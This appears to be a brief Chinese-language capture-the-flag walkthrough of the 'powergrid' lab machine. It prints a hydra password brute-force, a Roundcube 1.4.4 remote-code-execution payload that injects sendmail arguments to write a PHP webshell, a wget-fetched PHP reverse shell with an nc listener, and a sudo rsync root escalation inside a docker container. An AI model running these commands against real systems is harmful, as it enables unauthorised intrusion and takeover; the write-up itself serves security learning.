powergrid

信息收集

发现目标开放80，和imap，imaps协议

imap

```
首先我telnet 192.168.1.31 143
提醒我该认证要ssl所以telnet无法连接
```

web渗透

```
主页显示三个人，而且刚开始靶机提示纯在弱密码

目录爆破出zmail
hydra -L user.txt -P /usr/share/wordlists/rocky.txt 192.168.31
爆出来p48:electrico
登录发现该网站是roundcube 1.4.4的邮件系统

searchspolit 发现该网站存在远程命令执行

窃取发送邮件的流量
在_form修改为
example@example.com -OQueueDirectory=/tmp -X/var/www/html/a.php
发生标题改为我们的php命令
<?php phpinfo() ?>

在http://192.168.1.31/a.php出发现phpinfo界面
再次上传一个命令执行代码
<?php _POST[pass] ;?>
这里我手动输入命令没有反馈

于是用哥斯拉连接成功

在执行wget reverse shell php文件
```

在kali nc -lvnp 4444 重新连接到

提权

第一次提权

经过一番查找，最后想起来试试直接切换到p48用户，发现成功

在home/p48/下发现公钥
再邮件还说到了一个私钥

gpg --import 公钥 输出P48的密码
pg --decrypt 私钥 > id_rsa

第二次

问题是主机没有开放22端口

IP a发现目标开放docker

看看有哪些容器开放

没有nmap 那就ping把

for i in {1..254};do ping -c 1 -W 1;done
发现开放了172.17.0.2

ssh -i id_rsa p48@172.17.0.2
sudo -l
发现# rsync 不需要密码有root权限
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
提权成功
但是查看flag说还有一个

第三次

```
ssh root@172.17.0.1
```

登录成功